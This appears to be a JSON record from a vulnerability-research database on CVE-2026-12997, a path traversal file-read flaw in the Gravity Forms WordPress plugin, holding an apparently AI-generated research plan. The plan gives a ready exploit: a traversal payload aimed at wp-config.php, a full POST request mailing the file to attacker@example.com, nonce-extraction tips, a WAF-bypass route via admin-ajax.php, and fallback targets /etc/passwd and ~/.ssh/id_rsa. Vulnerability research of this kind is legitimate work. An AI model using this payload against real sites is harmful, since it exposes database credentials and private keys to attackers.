[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fIgBwg3QJDpltOS9fxk6kv094yht4kwhRpStokXRkS6s":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":16,"references":17,"days_to_patch":19,"patch_diff_files":20,"patch_trac_url":9,"research_status":21,"research_verified":22,"research_rounds_completed":23,"research_plan":24,"research_summary":25,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":26,"research_model_used":27,"research_started_at":28,"research_completed_at":29,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":22,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":22,"source_links":30},"CVE-2026-12997","gravity-forms-unauthenticated-arbitrary-file-read-via-gformuploadedfiles-parameter","Gravity Forms \u003C= 2.10.4 - Unauthenticated Arbitrary File Read via 'gform_uploaded_files' Parameter","The Gravity Forms plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.10.4 via the 'gform_uploaded_files' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires the targeted form to not enforce login (so publicly accessible), which allows the unauthenticated attacker to reach the process_send_resume_link endpoint and supply an arbitrary recipient email address to receive the traversal-retrieved file as a notification attachment.","gravityforms",null,"\u003C=2.10.4","2.10.5","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-15 06:20:27",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5c03c07f-8f41-47c2-bc95-d92a623f5f7c?source=api-prod",0,[],"researched",false,3,"This research plan outlines the technical steps to analyze and exploit **CVE-2026-12997**, an unauthenticated arbitrary file read vulnerability in Gravity Forms.\n\n## 1. Vulnerability Summary\n**CVE-2026-12997** is a path traversal vulnerability in Gravity Forms (\u003C= 2.10.4). The flaw resides in the processing of the `gform_uploaded_files` parameter within the \"Save and Continue\" (resume link) functionality. The plugin fails to validate that files listed in this parameter are restricted to the designated temporary upload directory. An unauthenticated attacker can provide a JSON-encoded path traversal string (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`), causing the server to attach the contents of that sensitive file to an email sent to an attacker-controlled address.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The `process_send_resume_link` method is typically triggered via a `POST` request to a page containing a Gravity Form that has \"Save and Continue\" enabled.\n*   **Vulnerable Parameter:** `gform_uploaded_files`.\n*   **Authentication:** Unauthenticated.\n*   **Preconditions:** \n    1.  A Gravity Form must be active and publicly accessible.\n    2.  The \"Save and Continue\" feature must be enabled for that form.\n    3.  The form must be configured to allow \"Email Resume Link\" (the feature that sends the email).\n\n## 3. Code Flow (Inferred from Patch and Description)\n1.  **Entry Point:** An attacker submits a POST request to a form page with the parameter `gform_send_resume_link` (or similar) set.\n2.  **Handler:** The plugin hits the `process_send_resume_link` logic (likely in `GFFormDisplay::process_send_resume_link` or `GFCommon`).\n3.  **Parsing:** The code retrieves `$_POST['gform_uploaded_files']`. This parameter is expected to be a JSON-encoded object where keys are input IDs and values are arrays of filenames.\n4.  **File Processing:** The plugin iterates through the files listed in `gform_uploaded_files` to include them in the resumed session data or as attachments for the notification email.\n5.  **Sink:** The plugin constructs a file path by concatenating the Gravity Forms upload directory with the provided filename. Due to lack of sanitization, a value like `..\u002F..\u002F..\u002F..\u002Fwp-config.php` resolves to the site's root directory.\n6.  **Email Dispatch:** The `wp_mail` function is called, attaching the file located at the traversed path to the email sent to the address provided in the `gform_resume_email` parameter.\n\n## 4. Nonce Acquisition Strategy\nGravity Forms often uses a frontend nonce for form submissions, including the \"Save and Continue\" feature.\n\n1.  **Identify Shortcode:** The primary shortcode is `[gravityform id=\"FORM_ID\" title=\"true\" description=\"true\"]`.\n2.  **Setup:** Create a page with this shortcode using WP-CLI.\n3.  **Extraction:**\n    *   Navigate to the page.\n    *   The nonce is typically found in the `gform_params` localized JS object or a hidden input field.\n    *   **Browser Eval:** `browser_eval(\"window.gform_theme_config?.common?.form_nounce_key\")` (Note: Check actual key in source; Gravity Forms often uses `gform_ajax_nonce` or specific form nonces).\n    *   **Fallback:** Search the HTML for `\u003Cinput type=\"hidden\" name=\"ak_js\" value=\"...\"` or other `gform_` prefixed hidden inputs.\n\n## 5. Exploitation Strategy\n### Step 1: Discover Form Details\nIdentify a valid Form ID and the necessary field names.\n*   `is_submit_FORMID`: Set to 1.\n*   `gform_submit`: The Form ID.\n*   `gform_resume_email`: The attacker's email address to receive the file.\n\n### Step 2: Craft the Traversal Payload\nThe `gform_uploaded_files` parameter must be a JSON-encoded string.\n*   **Payload:** `{\"1\":[\"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"]}` (Assuming '1' is a valid input ID).\n*   **URL Encoded:** `%7B%221%22%3A%5B%22..%2F..%2F..%2F..%2Fwp-config.php%22%5D%7D`\n\n### Step 3: Send the HTTP Request\nUse the `http_request` tool to trigger the resume link email.\n\n```http\nPOST \u002Ftarget-page\u002F HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\nis_submit_1=1&\ngform_submit=1&\ngform_send_resume_link=1&\ngform_resume_email=attacker@example.com&\ngform_uploaded_files={\"1\":[\"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"]}&\ngform_target_page_number_1=0&\ngform_source_page_number_1=1\n```\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure Gravity Forms \u003C= 2.10.4 is installed.\n2.  **Create Form:**\n    ```bash\n    # (Manual step or via script) Create a simple form (ID 1)\n    # Enable \"Save and Continue\" in Form Settings -> General\n    ```\n3.  **Create Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Contact\" --post_status=publish --post_content='[gravityform id=\"1\" title=\"false\" description=\"false\" ajax=\"true\"]'\n    ```\n4.  **Configure Mail:** Ensure the test environment can \"catch\" outgoing emails (e.g., using MailHog or checking the `wp-content\u002Fdebug.log` if a mail logger is active).\n\n## 7. Expected Results\n*   The server responds with a 200 OK and a message indicating the resume link has been sent.\n*   An email is dispatched to `attacker@example.com`.\n*   The email contains an attachment named `wp-config.php` (or the contents of `wp-config.php` are leaked in the email body depending on how the plugin handles the \"resumed\" file data).\n\n## 8. Verification Steps\n1.  **Check Mail Log:** If using a mail catcher, verify the arrival of the email and the attachment.\n2.  **File Content Validation:** Confirm the attachment contains the string `DB_NAME` or `DB_PASSWORD`.\n3.  **Server Logs:** Monitor for PHP warnings related to `file_get_contents` or `mime_content_type` if the traversal fails to find the file.\n\n## 9. Alternative Approaches\n*   **Different Files:** If `wp-config.php` is restricted, attempt to read `\u002Fetc\u002Fpasswd` or `~\u002F.ssh\u002Fid_rsa`.\n*   **JSON Structure Variations:** The structure of `gform_uploaded_files` changed slightly in version 2.x. If the primary payload fails, try the older format: `{\"input_1\":\"..%2F..%2Fwp-config.php\"}` (not as an array).\n*   **AJAX Endpoint:** Attempt the same payload via `admin-ajax.php` with `action=gform_send_resume_link` if the frontend form submission is blocked by WAF.","The Gravity Forms plugin (\u003C= 2.10.4) is vulnerable to unauthenticated arbitrary file read via path traversal in the 'gform_uploaded_files' parameter. An attacker can exploit the 'Save and Continue' functionality to cause the server to attach sensitive system files to a notification email sent to an attacker-controlled address.","The attack targets the 'Save and Continue' functionality of a publicly accessible Gravity Form. An unauthenticated attacker submits a POST request to the form page including the 'gform_send_resume_link' flag, a recipient email address, and a JSON-encoded payload in the 'gform_uploaded_files' parameter containing path traversal sequences (e.g., pointing to sensitive files like wp-config.php). The plugin processes these filenames without sanitization, concatenating them with the upload directory path and attaching the resulting file content to the resume link email.","gemini-3-flash-preview","2026-07-15 07:47:47","2026-07-15 07:48:28",{"type":31,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":32},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgravityforms\u002Ftags"]